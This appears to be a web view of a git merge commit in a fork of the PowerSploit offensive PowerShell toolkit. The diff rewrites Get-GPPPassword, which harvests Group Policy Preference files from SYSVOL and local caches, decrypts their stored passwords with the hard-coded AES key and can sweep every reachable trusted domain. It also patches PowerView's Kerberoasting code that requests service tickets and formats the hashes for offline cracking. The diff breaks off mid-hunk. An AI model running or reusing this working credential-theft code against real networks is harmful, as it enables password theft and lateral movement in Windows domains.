aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMike Brancato <mbrancato@users.noreply.github.com>2017-01-16 00:52:51 -0500
committerGitHub <noreply@github.com>2017-01-16 00:52:51 -0500
commitbda533d6d785a6d300b4547aca2fac10e801b7f9 (patch)
tree2fc944d02267ed25623e205a7b94e8f36f231a3c
parentd1060930c7af88730e983155077b56b3cc47a4dc (diff)
parent454e04005db7678163a1610080d1dff0782ac35d (diff)
downloadPowerSploit-bda533d6d785a6d300b4547aca2fac10e801b7f9.tar.gz
PowerSploit-bda533d6d785a6d300b4547aca2fac10e801b7f9.zip
Merge pull request #1 from PowerShellMafia/dev
update local fork
-rw-r--r--Exfiltration/Get-GPPPassword.ps1467
-rwxr-xr-xRecon/PowerView.ps1230
2 files changed, 427 insertions, 270 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 0c03e0a..f7be74c 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -2,246 +2,347 @@ function Get-GPPPassword {
<#
.SYNOPSIS
- Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
-
- PowerSploit Function: Get-GPPPassword
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
+Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
+
+PowerSploit Function: Get-GPPPassword
+Author: Chris Campbell (@obscuresec)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
.DESCRIPTION
- Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
+Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
-
- Specify the domain controller to search for.
- Default's to the users current domain
+
+Specify the domain controller to search for.
+Default's to the users current domain
+
+.PARAMETER SearchForest
+
+Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE
- PS C:\> Get-GPPPassword
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
-
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
- Passwords : {password, password1234$}
- UserNames : {administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
- Passwords : {password, read123}
- UserNames : {DEMO\Administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
+Get-GPPPassword
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:28:53}
+Passwords : {password12}
+UserNames : {test1}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
+
+NewName : {mspresenters}
+Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
+Passwords : {Recycling*3ftw!, password123, password1234}
+UserNames : {Administrator (built-in), DummyAccount, dummy2}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
+Passwords : {password, password1234$}
+UserNames : {administrator, admin}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
+Passwords : {password, read123}
+UserNames : {DEMO\Administrator, admin}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
- PS C:\> Get-GPPPassword -Server EXAMPLE.COM
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
+Get-GPPPassword -Server EXAMPLE.COM
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
+NewName : [BLANK]
+Changed : {2014-02-21 05:28:53}
+Passwords : {password12}
+UserNames : {test1}
+File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
+
+NewName : {mspresenters}
+Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
+Passwords : {Recycling*3ftw!, password123, password1234}
+UserNames : {Administrator (built-in), DummyAccount, dummy2}
+File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
- PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
-
- password
- password12
- password123
- password1234
- password1234$
- read123
- Recycling*3ftw!
+Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
+
+password
+password12
+password123
+password1234
+password1234$
+read123
+Recycling*3ftw!
.LINK
-
- http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
- https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
- http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
- http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+
+http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
+http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
-
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
- [ValidateNotNullOrEmpty()]
- [String]
- $Server = $Env:USERDNSDOMAIN
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Server = $Env:USERDNSDOMAIN,
+
+ [Switch]
+ $SearchForest
)
-
- #Some XML issues between versions
- Set-StrictMode -Version 2
-
- #define helper function that decodes and decrypts password
+
+ # define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
- [string] $Cpassword
+ [string] $Cpassword
)
try {
- #Append appropriate padding based on string length
+ #Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
-
+
switch ($Mod) {
- '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
- '2' {$Cpassword += ('=' * (4 - $Mod))}
- '3' {$Cpassword += ('=' * (4 - $Mod))}
+ '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
+ '2' {$Cpassword += ('=' * (4 - $Mod))}
+ '3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
-
+
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
-
+
#Set IV to all nulls to prevent dynamic generation of IV value
- $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
- $DecryptorObject = $AesObject.CreateDecryptor()
+ $DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
-
+
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
- }
-
- catch {Write-Error $Error[0]}
- }
-
- #define helper function to parse fields from xml files
- function Get-GPPInnerFields {
+ }
+
+ catch { Write-Error $Error[0] }
+ }
+
+ # helper function to parse fields from xml files
+ function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)
-
+
try {
-
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
- #declare empty arrays
- $Cpassword = @()
- $UserName = @()
- $NewName = @()
- $Changed = @()
- $Password = @()
-
- #check for password field
- if ($Xml.innerxml -like "*cpassword*"){
-
- Write-Verbose "Potential password in $File"
-
- switch ($Filename) {
-
- 'Groups.xml' {
- $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'Services.xml' {
- $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'Scheduledtasks.xml' {
- $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'DataSources.xml' {
- $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ # check for the cpassword field
+ if ($Xml.innerxml -match 'cpassword') {
+
+ $Xml.GetElementsByTagName('Properties') | ForEach-Object {
+ if ($_.cpassword) {
+ $Cpassword = $_.cpassword
+ if ($Cpassword -and ($Cpassword -ne '')) {
+ $DecryptedPassword = Get-DecryptedCpassword $Cpassword
+ $Password = $DecryptedPassword
+ Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
+ }
+
+ if ($_.newName) {
+ $NewName = $_.newName
+ }
+
+ if ($_.userName) {
+ $UserName = $_.userName
+ }
+ elseif ($_.accountName) {
+ $UserName = $_.accountName
+ }
+ elseif ($_.runAs) {
+ $UserName = $_.runAs
+ }
+
+ try {
+ $Changed = $_.ParentNode.changed
+ }
+ catch {
+ Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
+ }
+
+ try {
+ $NodeName = $_.ParentNode.ParentNode.LocalName
+ }
+ catch {
+ Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
+ }
+
+ if (!($Password)) {$Password = '[BLANK]'}
+ if (!($UserName)) {$UserName = '[BLANK]'}
+ if (!($Changed)) {$Changed = '[BLANK]'}
+ if (!($NewName)) {$NewName = '[BLANK]'}
+
+ $GPPPassword = New-Object PSObject
+ $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
+ $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
+ $GPPPassword | Add-Member Noteproperty 'Password' $Password
+ $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
+ $GPPPassword | Add-Member Noteproperty 'File' $File
+ $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
+ $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
+ $GPPPassword
}
-
- 'Printers.xml' {
- $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+ }
+ }
+ catch {
+ Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
+ }
+ }
+
+ # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
+ function Get-DomainTrust {
+ [CmdletBinding()]
+ Param (
+ $Domain
+ )
+
+ if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
+ try {
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
+ $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ if ($DomainObject) {
+ $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
+ }
+
+ try {
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ if ($ForestObject) {
+ $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
+ }
+ }
+ }
+
+ # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
+ function Get-DomainTrustMapping {
+ [CmdletBinding()]
+ Param ()
+
+ # keep track of domains seen so we don't hit infinite recursion
+ $SeenDomains = @{}
+
+ # our domain stack tracker
+ $Domains = New-Object System.Collections.Stack
+
+ try {
+ $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
+ $CurrentDomain
+ }
+ catch {
+ Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
+ }
+
+ if ($CurrentDomain -and $CurrentDomain -ne '') {
+ $Domains.Push($CurrentDomain)
+
+ while($Domains.Count -ne 0) {
+
+ $Domain = $Domains.Pop()
+
+ # if we haven't seen this domain before
+ if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
+
+ Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
+
+ # mark it as seen in our list
+ $Null = $SeenDomains.Add($Domain, '')
+
+ try {
+ # get all the domain/forest trusts for this domain
+ Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
+ # only output if we haven't already seen this domain and if it's pingable
+ if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
+ $Null = $Domains.Push($_)
+ $_
+ }
+ }
}
-
- 'Drives.xml' {
- $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ catch {
+ Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
- }
-
- foreach ($Pass in $Cpassword) {
- Write-Verbose "Decrypting $Pass"
- $DecryptedPassword = Get-DecryptedCpassword $Pass
- Write-Verbose "Decrypted a password of $DecryptedPassword"
- #append any new passwords to array
- $Password += , $DecryptedPassword
- }
-
- #put [BLANK] in variables
- if (!($Password)) {$Password = '[BLANK]'}
- if (!($UserName)) {$UserName = '[BLANK]'}
- if (!($Changed)) {$Changed = '[BLANK]'}
- if (!($NewName)) {$NewName = '[BLANK]'}
-
- #Create custom object to output results
- $ObjectProperties = @{'Passwords' = $Password;
- 'UserNames' = $UserName;
- 'Changed' = $Changed;
- 'NewName' = $NewName;
- 'File' = $File}
-
- $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
- Write-Verbose "The password is between {} and may be more than one value."
- if ($ResultsObject) {Return $ResultsObject}
+ }
}
-
- catch {Write-Error $Error[0]}
}
-
+
try {
- #ensure that machine is domain joined and script is running as a domain account
- if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
- throw 'Machine is not a domain member or User is not a member of the domain.'
+ $XMLFiles = @()
+ $Domains = @()
+
+ $AllUsers = $Env:ALLUSERSPROFILE
+ if (-not $AllUsers) {
+ $AllUsers = 'C:\ProgramData'
+ }
+
+ # discover any locally cached GPP .xml files
+ Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
+ $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
+
+ if ($SearchForest) {
+ Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
+ $Domains += Get-DomainTrustMapping
}
+ else {
+ if ($Server) {
+ $Domains += , $Server
+ }
+ else {
+ # in case we're in a SYSTEM context
+ $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
+ }
+ }
+
+ $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
+
+ ForEach ($Domain in $Domains) {
+ # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
+ Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
+ $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
+
+ if($DomainXMLFiles) {
+ $XMLFiles += $DomainXMLFiles
+ }
+ }
+
+ if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
+
+ Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
- #discover potential files containing passwords ; not complaining in case of denied access to a directory
- Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
- $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
-
- if ( -not $XMlFiles ) {throw 'No preference files found.'}
-
- Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
-
- foreach ($File in $XMLFiles) {
- $Result = (Get-GppInnerFields $File.Fullname)
- Write-Output $Result
+ ForEach ($File in $XMLFiles) {
+ $Result = (Get-GppInnerField $File.Fullname)
+ $Result
}
}
- catch {Write-Error $Error[0]}
-}
+ catch { Write-Error $Error[0] }
+} \ No newline at end of file
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index 5598dbe..ef9048a 100755
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -1563,18 +1563,18 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
)
}
catch {
- Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_"
+ Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
- Invoke-Method $Translate 'Init' (
+ $Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
- Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_"
+ Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
@@ -1583,7 +1583,7 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
try {
# 8 = Unknown name type -> let the server do the work for us
- Invoke-Method $Translate 'Set' (8, $TargetIdentity)
+ $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
@@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
}
else {
$UserSPN = $Object
- $SamAccountName = $Null
- $DistinguishedName = $Null
+ $SamAccountName = 'UNKNOWN'
+ $DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
@@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$UserSPN = $UserSPN[0]
}
- $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
+ try {
+ $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
+ }
+ catch {
+ Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
+ }
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
@@ -2322,16 +2327,22 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') {
- $HashFormat = "`$krb5tgs`$unknown:$Hash"
+ $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
+ if ($DistinguishedName -ne 'UNKNOWN') {
+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ }
+ else {
+ $UserDomain = 'UNKNOWN'
+ }
+
# hashcat output format
- $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash
+ $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
Write-Output $Out
- break
}
}
}
@@ -2413,15 +2424,22 @@ for connection to the target domain.
Invoke-Kerberoast | fl
+Kerberoasts all found SPNs for the current domain.
+
.EXAMPLE
-Invoke-Kerberoast -Domain dev.testlab.local | fl
+Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
+
+Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
+format instead of John (the default).
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
-Invoke-Kerberoast -Credential $Cred -Verbose | fl
+Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
+
+Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
@@ -3656,7 +3674,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
- Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
+ Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
@@ -4699,21 +4717,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
- elseif ($IdentityInstance -match '^S-1-.*') {
- # SID format
- $IdentityFilter += "(objectsid=$IdentityInstance)"
- }
- elseif ($IdentityInstance -match '^CN=.*') {
- # distinguished names
- $IdentityFilter += "(distinguishedname=$IdentityInstance)"
- }
else {
- try {
- $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
- $IdentityFilter += "(objectguid=$GuidByteString)"
+ $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-.*') {
+ # SID format
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
}
- catch {
- $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ elseif ($IdentityInstance -match '^CN=.*') {
+ # distinguished names
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ }
}
}
}
@@ -4742,7 +4763,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
- if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) {
+ if ($PSBoundParameters['KerberosPreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
@@ -5728,7 +5749,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
- $IdentityInstance = $_
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
@@ -5771,7 +5792,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
- $Filter += '(servicePrincipalName=$SPN)'
+ $Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
@@ -6053,23 +6074,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
- elseif ($IdentityInstance -match '^S-1-.*') {
- $IdentityFilter += "(objectsid=$IdentityInstance)"
- }
- elseif ($IdentityInstance -match '^(CN|OU)=.*') {
- $IdentityFilter += "(distinguishedname=$IdentityInstance)"
- }
else {
- try {
- $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
- $IdentityFilter += "(objectguid=$GuidByteString)"
+ $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-.*') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
}
- catch {
- if ($IdentityInstance.Contains('.')) {
- $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
+ elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
}
- else {
